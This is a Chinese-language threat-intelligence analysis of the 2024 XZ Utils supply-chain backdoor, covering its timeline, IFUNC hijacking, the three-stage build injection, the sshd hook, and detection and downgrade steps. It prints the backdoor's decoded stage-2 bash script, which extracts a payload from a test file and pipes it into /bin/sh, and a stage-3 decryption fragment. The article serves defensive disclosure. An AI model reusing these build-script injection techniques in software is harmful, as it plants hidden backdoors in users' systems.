长亭百川云 - 文章详情

XZ压缩库供应链攻击事件深度刨析

360威胁情报中心

89

2024-07-13

XZ压缩库是基于LZMA算法的高效压缩工具,因其卓越的压缩比和速度平衡而广受欢迎,它在Linux发行版和开源社区中尤为流行,为软件分发和数据存储提供了一种可靠的压缩解决方案。

2024年3月29日,一位微软的工程师在进行软件性能基准测试时,发现系统SSHD进程CPU占用飙升的异常情况,进一步定位到SSHD中调用的XZ压缩库模块疑似被安插后门,再经过安全社区和开源社区的一系列调查,最终确认这是一次非常严重的供应链攻击事件。

此次调查发现XZ压缩库项目的主要维护人员(ID为JiaT75)在近期的一次代码提交中加入了bad-3-corrput_lzma2.xz和good-large_compressed.lzma这两个测试文件,XZ压缩库的编译脚本会在特定条件下从这两个文件中读取恶意荷载对编译结果进行修改,其利用glibc的IFUNC特性针对编译的二进制文件植入了运行时后门代码,该后门代码在特定条件下会HOOK系统OpenSSH 服务的RSA_public_decrypt函数,致使攻击者可以通过构造特定验证数据针对受害者的远程SSH服务进行任意操作或远程代码执行。

事件时间线

2021年1月,攻击者注册GitHub账号(JiaT75);

2022年10月,JiaT75加入Tukaani项目组;

2023年,逐步参与xz项目的维护,获得提交代码的权利;

2024年3月8日至3月20日期间,提交bad-3-corrput_lzma2.xz和good-large_compressed.lzma恶意测试文件;

2024年3月29日,微软工程师Andres Freund发现shhd的CPU占用率异常,随之进行排查,发现xz/liblzma模块存在后门,并立即向oss-security报告此事。

 iFunc安全特性分析 

攻击者利用的GLIBC IFUNC(Indirect Function)特性是一种强大的软件编译中间层机制,它允许开发者为同一个函数接口提供多个实现版本,并且能够在程序运行时判断最优系统环境及条件,动态选择最合适的版本来执行,其在运行时机制主要涉及到间接函数和解析器函数。

IFUNC特性虽然为程序的性能优化和平台兼容性提供了更多的可能性,但也存在被恶意利用的风险,其主要的安全隐患包括:

  • 劫持函数风险

如果攻击者能修改解析器函数,就可以控制间接函数指向任何他们选择的函数实现,这些函数可能包含恶意的代码。

  • 绕过安全措施

通过控制间接函数的指向,攻击者可能还会选择代码中那些存在安全漏洞或弱安全检查的函数,从而控制程序流程绕过一些安全限制,执行那些不应被允许的操作。

  • 隐藏攻击载荷

攻击者可以预先部署恶意函数实现,然后通过解析器函数在合适的时机激活这些恶意实现,构成非常复杂的攻击策略。

 后门植入过程 

攻击者整个后门的编译植入流程如下,主要分为三个阶段:

  • Staget1(M4编译宏) – 恶意数据还原恢复

  • Stage2 (bash脚本)– 恶意数据提取合并

  • Stage3(bash脚本) – 恶意荷载释放编译

Stage 1  

Stage1阶段运行的是一个恶意的m4编译宏文件,从xz-utills的源码中可以看到build过程中存在以下恶意脚本。    

参考:

https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref\_type=heads#L63

这段脚本首先从文件中读取来自tests/files/bad-3-corrupt_lzma2.xz的字节,再运行tr进行以下替换:

  • 0x09 ( \t ) 替换为 0x20

  • 0x20(空格)被替换为 0x09

  • 0x2d ( -减号 ) 替换为 0x5f

  • 0x5f ( _下划线) 替换为 0x2d

从而恢复出新的bad-3-corrupt_lzma2.xz,再使用xz -d命令进行解压。

Stage 2  

bad-3-corrupt_lzma2.xz解压后内容如下:

`####Hello####``# a few binary bytes here, but as it's a comment they are ignorred``[ ! $(uname) = "Linux" ] && exit 0``[ ! $(uname) = "Linux" ] && exit 0``[ ! $(uname) = "Linux" ] && exit 0``[ ! $(uname) = "Linux" ] && exit 0`    `[ ! $(uname) = "Linux" ] && exit 0``` eval `grep ^srcdir= config.status` ```if test -f ../../config.status;then``` eval `grep ^srcdir= ../../config.status` ```srcdir="../../$srcdir"``fi``export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh`    `####World####`

此阶段的Bash脚本初始化操作定位至源代码所在目录。随后,通过一连串的head命令筛除并整合文件内的空白部分。接下来,利用tr命令执行一系列文本替换工作。完成这些操作后,脚本采用xz命令对数据进行解压,并将解压结果通过管道直接送入shell执行。

Stage 3  

此阶段的Bash脚本实现检测环境、解压提取恶意对象文件(liblzma_la-crc64_fast.o 和liblzma_la-crc32_fast.o)。

通过关键片段分析,可以看到代码检查$build变量是确保当前系统是x86_64架构,并且是Linux-gnu,这表明后门主要针对64位的Linux系统。

       而荷载释放是从xz解压缩开始执行,通过一系列管道和重定向操作处理转换数据,最终提取特定部分的数据输出到恶意的目标文件(.o)中。      

`xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i     <m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (nf<1?rs:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}'="" | xz -dc --single-stream ((head -c +$n>`       `/dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true`     `</m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x">``if ! test -f liblzma_la-crc64-fast.o; then``exit 0`

 后门攻击策略 

最终编译的XZ压缩库(liblzma.so)在开源软件体系中被大量引用,流行Linux发行版本(如ubuntu)中就被超过一千多个包直接引用,这些应用又有各自海量的交叉引用,直接引用或间接引用该库的项目都可能被攻击,这些复杂的交叉引用依赖为该后门在Linux生态体系中提供了难以想象的巨量攻击面。

在此次后门荷载的恶意代码里,攻击者只选择适配攻击sshd进程,Linux系统中的sshd进程并不会直接引用xz压缩库,但一些Linux发行版本(如ubuntu)使用systemd进行服务管理,因此需要对openssh服务进行补丁而引入systemd的代码库。    

被systemd管理的服务使用消息通知机制需要调用systemd库(libsystemd.so),因此导致XZ压缩库通过systemd库被openssh服务间接调用。

攻击者正是利用这个条件成功劫持了Linux系统关键的SSH远程管理服务,这也是后门在iFUNC编译植入配置只针对64位的Linux系统的原因。

 后门代码简要分析 

通过对最终后门代码的逆向分析,我们发现该后门展现了精细的设计思路,它利用对特定函数调用监测作为激活机制,巧妙地初始化并植入代码,而整个过程对SSH安全检测流程几乎无影响,这些特点都显示出攻击者对目标程序内部运作和内存结构深入掌握,整个设计和实现过程展示了高度的专业性和复杂度。

后门初始化

后门启动后通过ifunc resolve解析函数的初始化流程如下:

crc64_resolve()  -> is_arch_extension_supported() -> __get_cpuid() -> call_backdoor_init()  -> backdoor_init()

正常调用流程如下:crc64_resolve()函数先会调用is_arch_extension_supported(),该函数检查当前处理器是否支持特定的指令集扩展,它通过执行CPUID指令,检查处理器的特性位来决定是否支持这些扩展,具体的实现方式根据编译环境的不同有所变化。

替换后的调用流程如下:在_get_cpuid()中会调用__cpuid(),该函数中会调用backdoor_init()进行后门的初始化。

在backdoor_init()函数中,流程首先执行backdoor_ctx_save()来保存当前上下文,接着进行到backdoor_init_stage2()的调用。

其中_Llzma_block_buffer_decode_0指向3个函数:

`0:_Lrc_read_destroy:``1:_cpuid_ptr``2:backdoor_init_stage2__Llzma_delta_props_encoder`

紧接着,在backdoor_init_stage2()中,会先调用backdoor_vtbl_init()以生成后门核心操作所需的函数列表。此外,通过调用parse_elf_init(),进而触发table_get()函数,能够成功检索到字符串表,该表中包含了如start_pam、system、shutdown等关键指令。

backdoor_vtbl_init()中包含后门要用到的核心功能函数列表。

parse_elf_init()的调用逻辑如下:

resolve_imports()中会初始化一些关键的函数指针:

条件检测

后门初始化的过程密切依赖于程序内的特定函数调用序列。以_get_cpuid函数为例,它通常在正常操作中被调用两次,一次用于处理lzma_crc32,另一次用于lzma_crc64。为了精确地触发后门,后门引入了一个计数器call_counter来追踪_get_cpuid的调用频率,这一机制充当了后门激活的条件。仅在call_counter计数达到1时,即_get_cpuid函数第二次被调用时,后门的初始化逻辑才得以启动。这种设计确保了后门激活过程的精准性,同时最大程度地隐蔽了其存在。

后门激活

当后门的初始化条件得到满足,即在合适的时机,后门代码将展开一连串操作以改变程序的正常执行流程。这主要通过更改原始的函数指针实现,例如修改全局偏移表(GOT)条目,使得未来对这些函数的调用会被重定向到后门提供的功能。此操作通过直接操纵内存中的数据结构来完成,具体步骤包括

1. 配置后门上下文(rootkit_ctx):这一步涉及初始化对后门运行至关重要的数据结构;

2. 替换关键函数的指针,如将cpuid函数的GOT条目更新为指向后门特定函数的指针。

这一系列操作旨在无声无息地植入后门代码,同时不干扰程序的原始功能,为之后的未授权访问铺设通道。RSA_public_decrypt_hook()函数通过钩子挂载到RSA_public_decrypt函数上,能够对服务器的主机密钥进行非法验证。它通过使用一个预设的Ed448密钥来验证服务器的签名,并将恶意载荷(payload)传递给系统以供执行,从而达成远程命令控制的目的。

 恶意提交行为分析  

安全社区统计了JiaT75账号的代码提交时间分布,从时间分布中可以看出,其在2024年3月这次的恶意代码提交时间存在非常明显的异常,与以往的历史规律时间相差了近11个小时,这与该人员的作息时间完全相反,所以不排除 JiaT75账号被盗用的可能。    

 全球测绘影响分析 

根据各Linux发行版本的公告,部分Debian unstable 和 Kali Linux 滚动版本的和OpenSUSE 的特定 openssh 版本最容易受到影响。我们针对这部分的SSH服务在 360QUAKE上进行了全网探测,结果如下:

debian系openssh受影响的全球资产

debian系openssh受影响的全国资产

opensuse系openssh受影响的全球资产

opensuse系openssh受影响的全国资产

 后门本地检测缓解方法  

目前后门代码只针对X86 64位Linux的SSH服务进行了攻击适配,因此业务需优先排查此类Linux系统和虚拟机容器等。

本地检测方法  

检查“xz”版本是否为受影响的版本(5.6.0 或 5.6.1),可以通过运行以下命令检测:

strings `which xz` | grep '5\.6\.[01]'

若存在后门会输出版本:

``$ strings `which xz` | grep '5\.6\.[01]'```xz (XZ Utils) 5.6.1``   ```$ strings `which xz` | grep '5\.6\.[01]'```xz (XZ Utils) 5.6.0`

未存在后门不输出内容。

修复缓解方法  

如果确认”xz”版本受影响,可以通过降级到5.4.5版本进行缓解,如执行命令:

sudo apt install xz-utils=5.4.5

总结

iFUNC(间接函数)特性虽然为软件提供了显著的性能优化和执行时的灵活性,但同样引入了不容忽视的安全隐患。这种能力允许软件在运行时根据特定条件选择最适合的函数实现,增加了软件适应性的同时,也可能成为攻击者利用的突破口。特别是在软件供应链中,攻击者可以通过篡改解析器函数,悄无声息地引导软件执行恶意代码,给国家安全和企业安全带来了严峻挑战。面对这种情况,深入的代码审计、采用先进的安全编译策略,以及实施严格的运行时防护措施,成为确保软件供应链安全的重要手段。此外,开源社区与国家安全机构需要进一步合作,形成有效的监管机制、推广安全最佳实践,及时应对日趋严峻的供应链安全威胁,在保障软件创新的同时,不让安全成为被忽略的盲点。

360****高级威胁研究院

360高级威胁研究院是360数字安全集团的核心能力支持部门,由360资深安全专家组成,专注于高级威胁的发现、防御、处置和研究,曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击,独家披露多个国家级APT组织的高级行动,赢得业内外的广泛认可,为360保障国家网络安全提供有力支撑。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2